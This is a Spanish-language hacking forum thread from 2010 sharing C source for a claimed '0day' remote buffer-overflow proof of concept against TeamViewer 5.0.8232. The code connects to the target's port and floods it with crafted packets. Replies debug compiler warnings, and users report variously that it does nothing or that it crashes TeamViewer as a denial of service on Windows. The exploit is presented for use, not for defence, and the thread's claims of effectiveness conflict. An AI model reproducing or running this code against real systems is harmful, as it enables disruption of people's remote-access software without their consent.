Página 1 de 1

[0day] TeamViewer Remote BOF PoC

Publicado: 18 May 2010, 21:12
por Skillmax

Código: Seleccionar todo

#include<stdio.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<unistd.h>
 
#define ALOC(tip,n) (tip*)malloc(sizeof(tip)*n)
#define POCNAME "[*]TeamViewer 5.0.8232 remote BOF poc(0day)"
#define AUTHOR "[*]fl0 fl0w"
 
   typedef int i32;
   typedef char i8;
   typedef short i16;
   enum {
        True=1,
        False=0,
        Error=-1       
   };
   struct  linger  ling = {1,1};
   i8* host;
   i16 port;
   i32 ver1,ver2,slen;
   void syntax(){
             i8 *help[]={"\t-h hostname",
                        "\t-p port(default 5938)",
                };
                i32 i;
                size_t com=sizeof help / sizeof help[0];
                for(i=0;i<com;i++){
                   printf("%s\n",help[i]); 
               }
        }
    i32 arguments(i32 argc,i8** argv){
         i32 i;
         argc--;
         for(i=1;i<argc;i++){
            switch(argv[i][1]){
                  case'h':
                          host=argv[++i];
                  break;
                  case'p':
                          port=atoi(argv[++i]);
                  break;                        
                  default:{
                          printf("error with argument nr %d:(%s)\n",i,argv[i]);
                  return Error;
                          exit(0); 
                }      
            }                
         }
    }   
    i32 main(i32 argc,i8** argv){
        if(argc<2){
               printf("%s\n%s\n",POCNAME,AUTHOR);       
               printf("\tToo few arguments\n syntax is:\n");
               syntax();
               exit(0);       
            }
            arguments(argc,argv);
        i32 sok,i,
            svcon,
            sokaddr;
             
        i8 *sendbytes=ALOC(i8,32768),   
           *recevbytes=ALOC(i8,5548);
            printf("[*]Starting \n \t...\n");   
            struct sockaddr_in sockaddr_sok;
            sokaddr = sizeof(sockaddr_sok);
            sockaddr_sok.sin_family = AF_INET;
            sockaddr_sok.sin_addr.s_addr = inet_addr(host);
            sockaddr_sok.sin_port = htons(port);
            sok=socket(AF_INET,SOCK_STREAM,0);
                        if(sok==-1){
                          printf("[*]FAILED SOCKET\n");
                          exit(0);
                       }
            if(svcon=connect(sok,(struct sockaddr*)&sockaddr_sok,sokaddr)<0){
               printf("Error with connection\n");
               shutdown(sok,1);
               exit(0);
            }
            if(setsockopt(sok, SOL_SOCKET, SO_LINGER, (i8*)&ling, sizeof(ling))<0){
                               printf("Error setting the socket\n");
                                              shutdown(sok,1);
                                exit(0);
            }
            if(recv(sok,&ver1,1,0)!=1)
               exit(0);
            if(recv(sok, &ver2,1,0)!=1)
               exit(0);
            memset(sendbytes,0,250);
            recv(sok,recevbytes,sizeof(recevbytes),0);
            for(i=0;;i++) {
               if(!(i & 15)) printf("%d\r", i);
                  sendbytes[0] = ver1;
                  sendbytes[1] = ver2;
                  sendbytes[2] = (i & 1) ? 15 : 21;  
            *(i16 *)(sendbytes + 3) = slen;
                 if(send(sok, sendbytes, 5, 0) != 5) break;
 
                   if(slen) { 
                     memset(sendbytes, i, slen);
                     if(send(sok, sendbytes, slen, 0) != slen) break;
                     }
           }
           shutdown(sok,1);
           return 0;
    }

Esta recien salido, en cuanto me llegue mas información lo edito.


Un saludo!

Re: [0day] TeamViewer Remote BOF PoC

Publicado: 18 May 2010, 21:56
por 4n0nym0us
uoooooooh que bueno!! gracias por pasártelo!

Edit//

No funcionó el exploit con la misma vesión que aparece, hicimos Thor y yo la prueba y nanai de la china.

Re: [0day] TeamViewer Remote BOF PoC

Publicado: 19 May 2010, 06:16
por Skillmax
4n0nym0us escribió:uoooooooh que bueno!! gracias por pasártelo!

Edit//

No funcionó el exploit con la misma vesión que aparece, hicimos Thor y yo la prueba y nanai de la china.



Yo lo he probado y me funciona muy bién.. recuerda que es la versión
TeamViewer 5.0.8232.. o si no prueba con versiones como la 4, y me dices a ver si va..

Me parece que el error que os da es este, confirmamelo.

Código: Seleccionar todo

oot@shell:~/Escritorio# gcc -o prueba Team0day.c
Team0day.c: In function ‘arguments’:
Team0day.c:47: warning: incompatible implicit declaration of built-in function ‘exit’
Team0day.c: In function ‘main’:
Team0day.c:57: warning: incompatible implicit declaration of built-in function ‘exit’
Team0day.c:64: warning: incompatible implicit declaration of built-in function ‘malloc’
Team0day.c:75: warning: incompatible implicit declaration of built-in function ‘exit’
Team0day.c:80: warning: incompatible implicit declaration of built-in function ‘exit’
Team0day.c:85: warning: incompatible implicit declaration of built-in function ‘exit’
Team0day.c:88: warning: incompatible implicit declaration of built-in function ‘exit’
Team0day.c:91: warning: incompatible implicit declaration of built-in function ‘memset’
root@shell:~/Escritorio#

Es el único error que puedo ver asin a simple vista..


Prueba esto gcc -Wall -o "Team0day" "Team0day.c" Me funciono asín, si es otro error
avisame.


Un saludito

Re: [0day] TeamViewer Remote BOF PoC

Publicado: 19 May 2010, 08:36
por Thor
Hola,

compilar, compila, aunque de unos warnings. El problema es que una vez lanzado contra la máquina de An0nym0us donde tenía esa misma versión de TemaViewer no hizo nada, y conectar se conecto y probé varias veces.
No esperaba que diese una shell ya que el código no tiene shellcode, pero si esperaba que hubiese cascado el teamviewer.

¿Tu lo lanzaste contra un teamviewer? ¿Con que resultado?
un saludo.

Re: [0day] TeamViewer Remote BOF PoC

Publicado: 19 May 2010, 17:57
por Skillmax
Yo lo probé con un backtrack atacando un windows en lan y me funciono.


Un saludo!

Re: [0day] TeamViewer Remote BOF PoC

Publicado: 19 May 2010, 20:55
por Thor
Ya, ¿pero de que forma funciono?
Dejo de funcionar el teamviewer, ¿te dio una shell?

Re: [0day] TeamViewer Remote BOF PoC

Publicado: 19 May 2010, 21:05
por FroZenFeW
que p0c de mierda no hace nada.
prove con las versiones anteriores de teamviewer y tampoco nada
skillmax deberias explicar como te funko

Re: [0day] TeamViewer Remote BOF PoC

Publicado: 19 May 2010, 21:28
por Skillmax
Como un ataque, me funcionó como un doseo.


Saludos!

Re: [0day] TeamViewer Remote BOF PoC

Publicado: 14 Jun 2010, 11:12
por kagure
Cierto funciona perfectamente como DOS si se quiere explotar una shell la vamos a tener un poco dificil aqui un video donde se ve que funciona perfectamente compilado en un backtrack linux y el ataque lo lleve acabo al team viewer en un windows 7 x64 [Enlace externo eliminado para invitados]